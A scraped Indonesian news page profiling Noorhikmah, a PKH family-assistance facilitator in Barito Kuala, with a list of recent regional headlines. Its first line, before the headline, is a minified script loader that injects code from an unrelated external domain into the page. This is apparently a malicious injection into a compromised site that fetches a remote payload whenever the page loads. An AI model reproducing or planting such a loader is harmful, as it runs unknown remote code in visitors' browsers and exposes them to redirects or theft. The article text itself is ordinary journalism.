(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kisah Noorhikmah, Pendamping PKH yang Sempat Ingin Menyerah


KANALKALIMANTAN.COM, MARABAHAN– Tak mudah mengubah mindset atau pemikiran seseorang. Apalagi banyak orang. Begitulah tantangan yang harus dihadapi oleh seorang pendamping Program Keluarga Harapan (PKH).

Seperti cerita Noorhikmah, salah seorang pendamping PKH di Kabupaten Barito Kuala. Rabu (8/1) lalu, reporter kanalkalimantan.com berkesempatan mengikuti kegiatannya di Desa Antar Raya.

Perjalanan ke Desa Antar Raya ditempuh selama 45 menit dari Kota Marabahan atau sejauh 16 km menggunakan sepeda motor roda dua. Separuh perjalanan masih melewati jalanan mulus beraspal, 8 km sisanya harus berjuang mengendalikan setang motor karena jalan berbatu.

“Jadi pendamping PKH itu ada suka ada dukanya juga,” wanita 32 tahun itu memulai cerita. Lima tahun sudah Ia bergelut dengan urusan pendampingan keluarga pra sejahtera.

Lala, demikian panggilan akrabnya, mengaku pernah hampir berhenti. “Saya asli kandangan, waktu itu belum tau seluk beluk daerah sini (Batola),” ucapnya.

Mendampingi 8 Desa dan 2 Kelurahan cukup menguras tenaga dan pikiran. “Terutama mengelola manusianya. Salah-salah bisa Saya yang disalahkan,” Lala meringis.

Tantangan terbesar yang pernah dihadapi Lala adalah saat tahun pertama menjadi pendamping. “Saya sering kena semprot warga yang tidak masuk jadi penerima program, padahal masih tahap survei,” kenangnya.

Bahkan, Ia pernah dikerumuni warga satu kampung yang meminta dimasukan menjadi penerima. “Sempat stres dan mau berhenti waktu itu,” sebut wanita yang tinggal di Jl Aes Nasution itu.

“Tapi dari semua itu saya belajar banyak hal, termasuk pentingnya pendekatan sosial sebelum melakukan intervensi,” imbuhnya.

Lala menyebut bahwa pendekatan persuasif menjadi kunci keberhasilan dalam melakukan pendampingan. Kini, Ia punya cara tersendiri dalam menunaikan tugas. “Pertama, amati semuanya. Kedua, banyak mendengarkan. InsyaAllah akan lebih mudah mencari jalan atau solusi bagi warga,” ungkapnya dengan senyum lebar.

Bagi Lala, dukungan keluarga juga menjadi motivasinya selama ini untuk bertahan dengan tugas-tugas pendampingan. “Lebih penting lagi, bisa mengantarkan keluarga pra sejahtera menjadi sejahtera membuncahkan kebahagiaan tersendiri,” pungkasnya masih dengan senyuman.

Di atas guncangan motor roda dua kisah Lala dan sukadukanya mengalir. Sesekali berpapasan dengan truk pengangkut sawit, menyebabkan debu tebal yang menghalau perjalanan. (Kanalkalimantan.com/Retno)

 

Reporter : Retno
Editor : Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.